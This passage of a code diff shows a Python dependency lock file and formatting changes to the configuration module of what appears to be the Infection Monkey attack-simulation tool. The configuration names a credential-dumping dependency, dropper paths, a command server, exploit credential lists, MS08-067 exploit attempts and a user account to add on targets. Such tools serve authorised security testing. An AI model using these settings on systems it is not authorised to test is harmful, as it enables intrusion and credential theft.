"sha256:61f05864b42fedc0771d6d8e49c35f07efd209ade09a5afe6a5059e7bb7bf83d", + "sha256:6223d07a1ae93f86451d0198a0c361032c4c93ebd4bf6d25e2fb3edfad9571ef", + "sha256:6323d5d845c2785efb20aded4726636546b26d3b577aded22492908f7c1bdda7", + "sha256:6ffe81843131ee0ffa02c317186ed1e759a145267d54fdef1bc4ea5f5931ab60", + "sha256:74f2d0be88db96ada78756cb3a3e1b107ce8ab79f65aa885f76d7664e56928f6", + "sha256:74fb2557d1430fff18ff0d72613c5ca30c45cdbfcddd6a5773e9fc1fe9364be8", + "sha256:90d4091c2d30ddd0a03e0b97e6a33a48628469b99585e2ad6bf21f17423b112b", + "sha256:90f31c34d25b1b3ed6c40cdd34ff122b1887a825297c017e4cbd6796dd8b672d", + "sha256:99de3e8739258b3c3e8669cb9757c9a861b2a25ad0955f8e53ac662d66de61ac", + "sha256:c6a5fd10ce6b6344e616cf01cc5b849fa8103fbb5ba507b6b2dee4c11e84c935", + "sha256:ce8b867423291cb65cfc6d9c4955ee9bfc1e21fe03bb50e177f2b957f1c2469d", + "sha256:d225cd8319aa1d3c85bf195c4e07d17d3cd68636b8fc97e6cf198f782f99af28", + "sha256:ea313bb02e5e25224e518e4352af4bf5e062755160f77e4b1767dd5ccb65f876", + "sha256:ea372bcc129394485824ae3e3ddabe67dc0b118d262c568b4d2602a7070afdb0", + "sha256:f4634b033faf0d968bb9220dd1c793b897ab7f1189956e1aa9eae752527127d3", + "sha256:fcc01e900c1d7bee2a37e5d6e4f9194760a93597c97fee89c4ae51701de03563" + ], + "index": "pypi", + "version": "==5.8.0" + }, + "pyasn1": { + "hashes": [ + "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", + "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", + "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", + "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", + "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", + "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", + "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", + "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", + "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", + "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", + "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", + "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", + "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" + ], + "version": "==0.4.8" + }, + "pycparser": { + "hashes": [ + "sha256:2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0", + "sha256:7582ad22678f0fcd81102833f60ef8d0e57288b6b5fb00323d101be910e35705" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.20" + }, + "pycryptodome": { + "hashes": [ + "sha256:02e51e1d5828d58f154896ddfd003e2e7584869c275e5acbe290443575370fba", + "sha256:03d5cca8618620f45fd40f827423f82b86b3a202c8d44108601b0f5f56b04299", + "sha256:0e24171cf01021bc5dc17d6a9d4f33a048f09d62cc3f62541e95ef104588bda4", + "sha256:132a56abba24e2e06a479d8e5db7a48271a73a215f605017bbd476d31f8e71c1", + "sha256:1e655746f539421d923fd48df8f6f40b3443d80b75532501c0085b64afed9df5", + "sha256:2b998dc45ef5f4e5cf5248a6edfcd8d8e9fb5e35df8e4259b13a1b10eda7b16b", + "sha256:360955eece2cd0fa694a708d10303c6abd7b39614fa2547b6bd245da76198beb", + "sha256:39ef9fb52d6ec7728fce1f1693cb99d60ce302aeebd59bcedea70ca3203fda60", + "sha256:4350a42028240c344ee855f032c7d4ad6ff4f813bfbe7121547b7dc579ecc876", + "sha256:50348edd283afdccddc0938cdc674484533912ba8a99a27c7bfebb75030aa856", + "sha256:54bdedd28476dea8a3cd86cb67c0df1f0e3d71cae8022354b0f879c41a3d27b2", + "sha256:55eb61aca2c883db770999f50d091ff7c14016f2769ad7bca3d9b75d1d7c1b68", + "sha256:6276478ada411aca97c0d5104916354b3d740d368407912722bd4d11aa9ee4c2", + "sha256:663f8de2b3df2e744d6e1610506e0ea4e213bde906795953c1e82279c169f0a7", + "sha256:67dcad1b8b201308586a8ca2ffe89df1e4f731d5a4cdd0610cc4ea790351c739", + "sha256:709b9f144d23e290b9863121d1ace14a72e01f66ea9c903fbdc690520dfdfcf0", + "sha256:8063a712fba642f78d3c506b0896846601b6de7f5c3d534e388ad0cc07f5a149", + "sha256:80d57177a0b7c14d4594c62bbb47fe2f6309ad3b0a34348a291d570925c97a82", + "sha256:87006cf0d81505408f1ae4f55cf8a5d95a8e029a4793360720ae17c6500f7ecc", + "sha256:9f62d21bc693f3d7d444f17ed2ad7a913b4c37c15cd807895d013c39c0517dfd", + "sha256:a207231a52426de3ff20f5608f0687261a3329d97a036c51f7d4c606a6f30c23", + "sha256:abc2e126c9490e58a36a0f83516479e781d83adfb134576a5cbe5c6af2a3e93c", + "sha256:b56638d58a3a4be13229c6a815cd448f9e3ce40c00880a5398471b42ee86f50e", + "sha256:bcd5b8416e73e4b0d48afba3704d8c826414764dafaed7a1a93c442188d90ccc", + "sha256:bec2bcdf7c9ce7f04d718e51887f3b05dc5c1cfaf5d2c2e9065ecddd1b2f6c9a", + "sha256:c8bf40cf6e281a4378e25846924327e728a887e8bf0ee83b2604a0f4b61692e8", + "sha256:cecbf67e81d6144a50dc615629772859463b2e4f815d0c082fa421db362f040e", + "sha256:d8074c8448cfd0705dfa71ca333277fce9786d0b9cac75d120545de6253f996a", + "sha256:dd302b6ae3965afeb5ef1b0d92486f986c0e65183cd7835973f0b593800590e6", + "sha256:de6e1cd75677423ff64712c337521e62e3a7a4fc84caabbd93207752e831a85a", + "sha256:ef39c98d9b8c0736d91937d193653e47c3b19ddf4fc3bccdc5e09aaa4b0c5d21", + "sha256:f2e045224074d5664dc9cbabbf4f4d4d46f1ee90f24780e3a9a668fd096ff17f", + "sha256:f521178e5a991ffd04182ed08f552daca1affcb826aeda0e1945cd989a9d4345", + "sha256:f78a68c2c820e4731e510a2df3eef0322f24fde1781ced970bf497b6c7d92982", + "sha256:fbe65d5cfe04ff2f7684160d50f5118bdefb01e3af4718eeb618bfed40f19d94" + ], + "index": "pypi", + "version": "==3.9.8" + }, + "pycryptodomex": { + "hashes": [ + "sha256:00a584ee52bf5e27d540129ca9bf7c4a7e7447f24ff4a220faa1304ad0c09bcd", + "sha256:04265a7a84ae002001249bd1de2823bcf46832bd4b58f6965567cb8a07cf4f00", + "sha256:0bd35af6a18b724c689e56f2dbbdd8e409288be71952d271ba3d9614b31d188c", + "sha256:20c45a30f3389148f94edb77f3b216c677a277942f62a2b81a1cc0b6b2dde7fc", + "sha256:2959304d1ce31ab303d9fb5db2b294814278b35154d9b30bf7facc52d6088d0a", + "sha256:36dab7f506948056ceba2d57c1ade74e898401960de697cefc02f3519bd26c1b", + "sha256:37ec1b407ec032c7a0c1fdd2da12813f560bad38ae61ad9c7ce3c0573b3e5e30", + "sha256:3b8eb85b3cc7f083d87978c264d10ff9de3b4bfc46f1c6fdc2792e7d7ebc87bb", + "sha256:3dfce70c4e425607ae87b8eae67c9c7dbba59a33b62d70f79417aef0bc5c735b", + "sha256:418f51c61eab52d9920f4ef468d22c89dab1be5ac796f71cf3802f6a6e667df0", + "sha256:4195604f75cdc1db9bccdb9e44d783add3c817319c30aaff011670c9ed167690", + "sha256:4344ab16faf6c2d9df2b6772995623698fb2d5f114dace4ab2ff335550cf71d5", + "sha256:541cd3e3e252fb19a7b48f420b798b53483302b7fe4d9954c947605d0a263d62", + "sha256:564063e3782474c92cbb333effd06e6eb718471783c6e67f28c63f0fc3ac7b23", + "sha256:72f44b5be46faef2a1bf2a85902511b31f4dd7b01ce0c3978e92edb2cc812a82", + "sha256:8a98e02cbf8f624add45deff444539bf26345b479fc04fa0937b23cd84078d91", + "sha256:940db96449d7b2ebb2c7bf190be1514f3d67914bd37e54e8d30a182bd375a1a9", + "sha256:961333e7ee896651f02d4692242aa36b787b8e8e0baa2256717b2b9d55ae0a3c", + "sha256:9f713ffb4e27b5575bd917c70bbc3f7b348241a351015dbbc514c01b7061ff7e", + "sha256:a6584ae58001d17bb4dc0faa8a426919c2c028ef4d90ceb4191802ca6edb8204", + "sha256:c2b680987f418858e89dbb4f09c8c919ece62811780a27051ace72b2f69fb1be", + "sha256:d8fae5ba3d34c868ae43614e0bd6fb61114b2687ac3255798791ce075d95aece", + "sha256:dbd2c361db939a4252589baa94da4404d45e3fc70da1a31e541644cdf354336e", + "sha256:e090a8609e2095aa86978559b140cf8968af99ee54b8791b29ff804838f29f10", + "sha256:e4a1245e7b846e88ba63e7543483bda61b9acbaee61eadbead5a1ce479d94740", + "sha256:ec9901d19cadb80d9235ee41cc58983f18660314a0eb3fc7b11b0522ac3b6c4a", + "sha256:f2abeb4c4ce7584912f4d637b2c57f23720d35dd2892bfeb1b2c84b6fb7a8c88", + "sha256:f3bb267df679f70a9f40f17d62d22fe12e8b75e490f41807e7560de4d3e6bf9f", + "sha256:f933ecf4cb736c7af60a6a533db2bf569717f2318b265f92907acff1db43bc34", + "sha256:fc9c55dc1ed57db76595f2d19a479fc1c3a1be2c9da8de798a93d286c5f65f38" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==3.10.1" + }, + "pyftpdlib": { + "hashes": [ + "sha256:fda655d81f29af52885ca2f8a2704134baed540f16d66a0b26e8fdfafd12db5e" + ], + "index": "pypi", + "version": "==1.5.6" + }, + "pyinstaller": { + "git": "git://github.com/guardicore/pyinstaller", + "ref": "7c050ea0d6ca1e453045632ec57cf1afe79e15c5" + }, + "pyinstaller-hooks-contrib": { + "hashes": [ + "sha256:27558072021857d89524c42136feaa2ffe4f003f1bdf0278f9b24f6902c1759c", + "sha256:892310e6363655838485ee748bf1c5e5cade7963686d9af8650ee218a3e0b031" + ], + "index": "pypi", + "version": "==2021.1" + }, + "pymssql": { + "hashes": [ + "sha256:04aab92d5a1a5d4e01a0797a939f103f02c0ef777bc8dcf1e952ed30dd1d43d4", + "sha256:0ff55a944ee7506a5e9aef7b40f0cddabc0b61f9ba13d716bff5a308923b8111", + "sha256:10f9b5b033eb30a38f4b36144eb4583fd478fd30afa9d64cd9a1965d22740446", + "sha256:1682ead549dcec31f3b8cc47da429572ea1c4b106cb4fa91df884f968123af93", + "sha256:18b6550a02b34e88134b4b70eedcc6982036e459b0c91c7dd248bb1926287264", + "sha256:1e8d8abab391559b70f5df97fb22fc1d9ea627edcb943e558bdc7d7f455f93e2", + "sha256:2108114e4cc34ebbb8031df3e5579320e7569d51cd5094c5ddc333bf749d09a0", + "sha256:36539e42e8bb33018a05f9bd524b5a76286132ab7c82bfe9b60c4169d460fdf5", + "sha256:3977b056c5db8d01e74d88417cbb48e3e8bf03ab09ca6ef53790d025eae543df", + "sha256:3bdbeca64af7856923b7f84ed3355e2fd00bb1b897877b0bd4a74ec638801d52", + "sha256:3e077455a11fcb4cb8705cb3ae83236b8e130df9fd4186c707d638e8e43f9646", + "sha256:4f6d4434c29b846f491f5236daf06175f1652953d1d162be0f1b2b037bcf9a8d", + "sha256:4fd4991eee848a4fd7d0b19a24fe49b508633881e221004652ab15a7e4cfe041", + "sha256:557719b3ebc4617543de52eaadcdb6779f0c850e95b07be5f9775a2ef6a6c61f", + "sha256:658b4ea09050c85c6be09e1371335198b9441d2b5b08ef4f0b250ee4e5e8afc3", + "sha256:70a5c67759254e982368c5b9ccfe076447a7fd545b8376eb62d60c3b85e3b94d", + "sha256:aad5a1218691f83a16bab6dcfa24abf9da796abf5bf168a41972fe1cf93b3e37", + "sha256:c47c093cc4dc60e3356458c8e2935bab3834cea1f94a66c8ca62a5af2f060d64", + "sha256:c7a715c0b2b3a37462a9cf7972ed9ef0be98b2c64aebd549359f08af7f53b9a9", + "sha256:cfd9ae0484056e46b981b7c3893ddb620ccd52f48349bada78cb141192dfbfbe", + "sha256:cff8e775fb6294effeb716735bfd7707e79a2a79b617d0f1984bd574f26bda65", + "sha256:d0f8094330523b8e4763a6903151bc35069309ccb57c61f87eeaa910a34f5a35", + "sha256:d60f5f90337399668e10ab6a23a1657f190c9585401eb96a5456261f7c414864", + "sha256:dfc764a5a07197d742da34a593578295e9f8b64bb035c07e0981961672e18c85", + "sha256:e19a59eb8115418c3debcc9b685b2138d0abe6c9cb8c00bc2e738eb744bc6bda", + "sha256:e4741c6ec0483dcadb8a63077a7ceb17f263d9815ea842fed6663508c8852d7f", + "sha256:ec28c73afde96def469c581208903cf035923dc6313b6916f80cbcc71f9413d1", + "sha256:f36392e1874445d7cb67b928686ad424b0b3980282512b21f640828ad3adf968", + "sha256:fcf98e2c7cf18fa2fa09cdb7220849cd02e7b9481cb81ccdd8940da438f58d85" + ], + "index": "pypi", + "version": "==2.1.5" + }, + "pynacl": { + "hashes": [ + "sha256:06cbb4d9b2c4bd3c8dc0d267416aaed79906e7b33f114ddbf0911969794b1cc4", + "sha256:11335f09060af52c97137d4ac54285bcb7df0cef29014a1a4efe64ac065434c4", + "sha256:2fe0fc5a2480361dcaf4e6e7cea00e078fcda07ba45f811b167e3f99e8cff574", + "sha256:30f9b96db44e09b3304f9ea95079b1b7316b2b4f3744fe3aaecccd95d547063d", + "sha256:4e10569f8cbed81cb7526ae137049759d2a8d57726d52c1a000a3ce366779634", + "sha256:511d269ee845037b95c9781aa702f90ccc36036f95d0f31373a6a79bd8242e25", + "sha256:537a7ccbea22905a0ab36ea58577b39d1fa9b1884869d173b5cf111f006f689f", + "sha256:54e9a2c849c742006516ad56a88f5c74bf2ce92c9f67435187c3c5953b346505", + "sha256:757250ddb3bff1eecd7e41e65f7f833a8405fede0194319f87899690624f2122", + "sha256:7757ae33dae81c300487591c68790dfb5145c7d03324000433d9a2c141f82af7", + "sha256:7c6092102219f59ff29788860ccb021e80fffd953920c4a8653889c029b2d420", + "sha256:8122ba5f2a2169ca5da936b2e5a511740ffb73979381b4229d9188f6dcb22f1f", + "sha256:9c4a7ea4fb81536c1b1f5cc44d54a296f96ae78c1ebd2311bd0b60be45a48d96", + "sha256:c914f78da4953b33d4685e3cdc7ce63401247a21425c16a39760e282075ac4a6", + "sha256:cd401ccbc2a249a47a3a1724c2918fcd04be1f7b54eb2a5a71ff915db0ac51c6", + "sha256:d452a6746f0a7e11121e64625109bc4468fc3100452817001dbe018bb8b08514", + "sha256:ea6841bc3a76fa4942ce00f3bda7d436fda21e2d91602b9e21b7ca9ecab8f3ff", + "sha256:f8851ab9041756003119368c1e6cd0b9c631f46d686b3904b18c0139f4419f80" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.4.0" + }, + "pyopenssl": { + "hashes": [ + "sha256:aeca66338f6de19d1aa46ed634c3b9ae519a64b458f8468aec688e7e3c20f200", + "sha256:c727930ad54b10fc157015014b666f2d8b41f70c0d03e83ab67624fd3dd5d1e6" + ], + "index": "pypi", + "version": "==19.0.0" + }, + "pypykatz": { + "hashes": [ + "sha256:8acd8d69f7b0ab343c593490a0837871b58b5c322ad54ada2fad0fed049349f3", + "sha256:b63b19ec6ee8448bbcf7003e6ad1f9d7a2784fd8cee54aebcc5f717792a43200" + ], + "index": "pypi", + "version": "==0.3.12" + }, + "pysmb": { + "hashes": [ + "sha256:7aedd5e003992c6c78b41a0da4bf165359a46ea25ab2a9a1594d13f471ad7287" + ], + "index": "pypi", + "version": "==1.2.5" + }, + "python-dateutil": { + "hashes": [ + "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", + "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.8.0" + }, + "pytz": { + "hashes": [ + "sha256:83a4a90894bf38e243cf052c8b58f381bfe9a7a483f6a9cab140bc7f702ac4da", + "sha256:eb10ce3e7736052ed3623d49975ce333bcd712c7bb19a58b9e2089d4057d0798" + ], + "version": "==2021.1" + }, + "requests": { + "hashes": [ + "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804", + "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e" + ], + "index": "pypi", + "version": "==2.25.1" + }, + "s3transfer": { + "hashes": [ + "sha256:9b3752887a2880690ce628bc263d6d13a3864083aeacff4890c1c9839a5eb0bc", + "sha256:cb022f4b16551edebbb31a377d3f09600dbada7363d8c5db7976e7f47732e1b2" + ], + "version": "==0.4.2" + }, + "scoutsuite": { + "git": "git://github.com/guardicode/ScoutSuite", + "ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003" + }, + "simplejson": { + "hashes": [ + "sha256:034550078a11664d77bc1a8364c90bb7eef0e44c2dbb1fd0a4d92e3997088667", + "sha256:05b43d568300c1cd43f95ff4bfcff984bc658aa001be91efb3bb21df9d6288d3", + "sha256:0dd9d9c738cb008bfc0862c9b8fa6743495c03a0ed543884bf92fb7d30f8d043", + "sha256:10fc250c3edea4abc15d930d77274ddb8df4803453dde7ad50c2f5565a18a4bb", + "sha256:2862beabfb9097a745a961426fe7daf66e1714151da8bb9a0c430dde3d59c7c0", + "sha256:292c2e3f53be314cc59853bd20a35bf1f965f3bc121e007ab6fd526ed412a85d", + "sha256:2d3eab2c3fe52007d703a26f71cf649a8c771fcdd949a3ae73041ba6797cfcf8", + "sha256:2e7b57c2c146f8e4dadf84977a83f7ee50da17c8861fd7faf694d55e3274784f", + "sha256:311f5dc2af07361725033b13cc3d0351de3da8bede3397d45650784c3f21fbcf", + "sha256:344e2d920a7f27b4023c087ab539877a1e39ce8e3e90b867e0bfa97829824748", + "sha256:3fabde09af43e0cbdee407555383063f8b45bfb52c361bc5da83fcffdb4fd278", + "sha256:42b8b8dd0799f78e067e2aaae97e60d58a8f63582939af60abce4c48631a0aa4", + "sha256:4b3442249d5e3893b90cb9f72c7d6ce4d2ea144d2c0d9f75b9ae1e5460f3121a", + "sha256:55d65f9cc1b733d85ef95ab11f559cce55c7649a2160da2ac7a078534da676c8", + "sha256:5c659a0efc80aaaba57fcd878855c8534ecb655a28ac8508885c50648e6e659d", + "sha256:72d8a3ffca19a901002d6b068cf746be85747571c6a7ba12cbcf427bfb4ed971", + "sha256:75ecc79f26d99222a084fbdd1ce5aad3ac3a8bd535cd9059528452da38b68841", + "sha256:76ac9605bf2f6d9b56abf6f9da9047a8782574ad3531c82eae774947ae99cc3f", + "sha256:7d276f69bfc8c7ba6c717ba8deaf28f9d3c8450ff0aa8713f5a3280e232be16b", + "sha256:7f10f8ba9c1b1430addc7dd385fc322e221559d3ae49b812aebf57470ce8de45", + "sha256:8042040af86a494a23c189b5aa0ea9433769cc029707833f261a79c98e3375f9", + "sha256:813846738277729d7db71b82176204abc7fdae2f566e2d9fcf874f9b6472e3e6", + "sha256:845a14f6deb124a3bcb98a62def067a67462a000e0508f256f9c18eff5847efc", + "sha256:869a183c8e44bc03be1b2bbcc9ec4338e37fa8557fc506bf6115887c1d3bb956", + "sha256:8acf76443cfb5c949b6e781c154278c059b09ac717d2757a830c869ba000cf8d", + "sha256:8f713ea65958ef40049b6c45c40c206ab363db9591ff5a49d89b448933fa5746", + "sha256:934115642c8ba9659b402c8bdbdedb48651fb94b576e3b3efd1ccb079609b04a", + "sha256:9551f23e09300a9a528f7af20e35c9f79686d46d646152a0c8fc41d2d074d9b0", + "sha256:9a2b7543559f8a1c9ed72724b549d8cc3515da7daf3e79813a15bdc4a769de25", + "sha256:a55c76254d7cf8d4494bc508e7abb993a82a192d0db4552421e5139235604625", + "sha256:ad8f41c2357b73bc9e8606d2fa226233bf4d55d85a8982ecdfd55823a6959995", + "sha256:af4868da7dd53296cd7630687161d53a7ebe2e63814234631445697bd7c29f46", + "sha256:afebfc3dd3520d37056f641969ce320b071bc7a0800639c71877b90d053e087f", + "sha256:b59aa298137ca74a744c1e6e22cfc0bf9dca3a2f41f51bc92eb05695155d905a", + "sha256:bc00d1210567a4cdd215ac6e17dc00cb9893ee521cee701adfd0fa43f7c73139", + "sha256:c1cb29b1fced01f97e6d5631c3edc2dadb424d1f4421dad079cb13fc97acb42f", + "sha256:c94dc64b1a389a416fc4218cd4799aa3756f25940cae33530a4f7f2f54f166da", + "sha256:ceaa28a5bce8a46a130cd223e895080e258a88d51bf6e8de2fc54a6ef7e38c34", + "sha256:cff6453e25204d3369c47b97dd34783ca820611bd334779d22192da23784194b", + "sha256:d0b64409df09edb4c365d95004775c988259efe9be39697d7315c42b7a5e7e94", + "sha256:d4813b30cb62d3b63ccc60dd12f2121780c7a3068db692daeb90f989877aaf04", + "sha256:da3c55cdc66cfc3fffb607db49a42448785ea2732f055ac1549b69dcb392663b", + "sha256:e058c7656c44fb494a11443191e381355388443d543f6fc1a245d5d238544396", + "sha256:fed0f22bf1313ff79c7fc318f7199d6c2f96d4de3234b2f12a1eab350e597c06", + "sha256:ffd4e4877a78c84d693e491b223385e0271278f5f4e1476a4962dca6824ecfeb" + ], + "index": "pypi", + "version": "==3.17.2" + }, + "six": { + "hashes": [ + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.16.0" + }, + "sqlitedict": { + "hashes": [ + "sha256:2affcc301aacd4da7511692601ecbde392294205af418498f7d6d3ec0dbcad56" + ], + "version": "==1.7.0" + }, + "tempora": { + "hashes": [ + "sha256:10fdc29bf85fa0df39a230a225bb6d093982fc0825b648a414bbc06bddd79909", + "sha256:d44aec6278b27d34a47471ead01b710351076eb5d61181551158f1613baf6bc8" + ], + "markers": "python_version >= '3.6'", + "version": "==4.0.2" + }, + "tqdm": { + "hashes": [ + "sha256:24be966933e942be5f074c29755a95b315c69a91f839a29139bf26ffffe2d3fd", + "sha256:aa0c29f03f298951ac6318f7c8ce584e48fa22ec26396e6411e43d038243bdb2" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==4.61.1" + }, + "typing-extensions": { + "hashes": [ + "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497", + "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342", + "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84" + ], + "markers": "python_version < '3.8'", + "version": "==3.10.0.0" + }, + "urllib3": { + "hashes": [ + "sha256:2f3db8b19923a873b3e5256dc9c2dedfa883e33d87c690d9c7913e1f40673cdc", + "sha256:87716c2d2a7121198ebcb7ce7cccf6ce5e9ba539041cfbaeecfb641dc0bf6acc" + ], + "index": "pypi", + "version": "==1.25.8" + }, + "wcwidth": { + "hashes": [ + "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784", + "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83" + ], + "version": "==0.2.5" + }, + "werkzeug": { + "hashes": [ + "sha256:1de1db30d010ff1af14a009224ec49ab2329ad2cde454c8a708130642d579c42", + "sha256:6c1ec500dcdba0baa27600f6a22f6333d8b662d22027ff9f6202e3367413caa8" + ], + "markers": "python_version >= '3.6'", + "version": "==2.0.1" + }, + "winacl": { + "hashes": [ + "sha256:57e5b4591b4be2b243d4b79882bd0fb6229d5930d062fdae941d5d8af6aa29ee", + "sha256:aa652870757136e39ea85037d33b6b9bd09b415d907a5d64ca7b1a4f67202c59" + ], + "markers": "python_version >= '3.6'", + "version": "==0.1.1" + }, + "winsspi": { + "hashes": [ + "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", + "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" + ], + "markers": "python_version >= '3.6'", + "version": "==0.0.9" + }, + "winsys-3.x": { + "hashes": [ + "sha256:cef3df1dce2a5a71efa46446e6007ad9f7dbae31e83ffcc2ea3485c00c914cc3" + ], + "index": "pypi", + "version": "==0.5.2" + }, + "wmi": { + "hashes": [ + "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", + "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" + ], + "markers": "sys_platform == 'win32'", + "version": "==1.5.1" + }, + "zc.lockfile": { + "hashes": [ + "sha256:307ad78227e48be260e64896ec8886edc7eae22d8ec53e4d528ab5537a83203b", + "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f" + ], + "version": "==2.0" + }, + "zipp": { + "hashes": [ + "sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76", + "sha256:51cb66cc54621609dd593d1787f286ee42a5c0adbb4b29abea5a63edc3e03098" + ], + "markers": "python_version >= '3.6'", + "version": "==3.4.1" + } + }, + "develop": {} +} diff --git a/monkey/infection_monkey/__init__.py b/monkey/infection_monkey/__init__.py index ee5b79ad0..e69de29bb 100644 --- a/monkey/infection_monkey/__init__.py +++ b/monkey/infection_monkey/__init__.py @@ -1 +0,0 @@ -__author__ = 'itay.mizeretz' diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 018f3aacc..0bede1c57 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -5,14 +5,17 @@ import uuid from abc import ABCMeta from itertools import product -__author__ = 'itamar' - GUID = str(uuid.getnode()) -EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') +EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "monkey.bin") -SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list", "exploit_ssh_keys", "aws_secret_access_key", - "aws_session_token"] +SENSITIVE_FIELDS = [ + "exploit_password_list", + "exploit_user_list", + "exploit_ssh_keys", + "aws_secret_access_key", + "aws_session_token", +] LOCAL_CONFIG_VARS = ["name", "id", "current_server", "max_depth"] HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden" @@ -21,7 +24,7 @@ class Configuration(object): def from_kv(self, formatted_data): unknown_items = [] for key, value in list(formatted_data.items()): - if key.startswith('_'): + if key.startswith("_"): continue if key in LOCAL_CONFIG_VARS: continue @@ -45,7 +48,7 @@ class Configuration(object): def as_dict(self): result = {} for key in dir(Configuration): - if key.startswith('_'): + if key.startswith("_"): continue try: value = getattr(self, key) @@ -75,10 +78,10 @@ class Configuration(object): ########################### use_file_logging = True - dropper_log_path_windows = '%temp%\\~df1562.tmp' - dropper_log_path_linux = '/tmp/user-1562' - monkey_log_path_windows = '%temp%\\~df1563.tmp' - monkey_log_path_linux = '/tmp/user-1563' + dropper_log_path_windows = "%temp%\\~df1562.tmp" + dropper_log_path_linux = "/tmp/user-1562" + monkey_log_path_windows = "%temp%\\~df1563.tmp" + monkey_log_path_linux = "/tmp/user-1563" send_log_to_server = True ########################### @@ -88,16 +91,16 @@ class Configuration(object): dropper_try_move_first = True dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" - dropper_date_reference_path_linux = '/bin/sh' + dropper_date_reference_path_linux = "/bin/sh" dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe" dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe" - dropper_target_path_linux = '/tmp/monkey' + dropper_target_path_linux = "/tmp/monkey" ########################### # Kill file ########################### - kill_file_path_windows = '%windir%\\monkey.not' - kill_file_path_linux = '/var/run/monkey.not' + kill_file_path_windows = "%windir%\\monkey.not" + kill_file_path_linux = "/var/run/monkey.not" ########################### # monkey config @@ -134,9 +137,7 @@ class Configuration(object): current_server = "" # Configuration servers to try to connect to, in this order. - command_servers = [ - "192.0.2.0:5000" - ] + command_servers = ["192.0.2.0:5000"] # sets whether or not to locally save the running configuration after finishing serialize_config = False @@ -150,7 +151,7 @@ class Configuration(object): keep_tunnel_open_time = 60 # Monkey files directory name - monkey_dir_name = 'monkey_dir' + monkey_dir_name = "monkey_dir" ########################### # scanners config @@ -165,21 +166,14 @@ class Configuration(object): blocked_ips = [] # TCP Scanner - HTTP_PORTS = [80, 8080, 443, - 8008, # HTTP alternate - 7001 # Oracle Weblogic default server port - ] - tcp_target_ports = [22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200] + HTTP_PORTS = [ + 80, + 8080, + 443, + 8008, # HTTP alternate + 7001, # Oracle Weblogic default server port + ] + tcp_target_ports = [22, 2222, 445, 135, 3389, 80, 8080, 443, 8008, 3306, 9200] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds tcp_scan_interval = 0 # in milliseconds @@ -192,14 +186,16 @@ class Configuration(object): # exploiters config ########################### - should_exploit = True skip_exploit_if_file_exist = False ms08_067_exploit_attempts = 5 user_to_add = "Monkey_IUSER_SUPPORT" - remote_user_pass 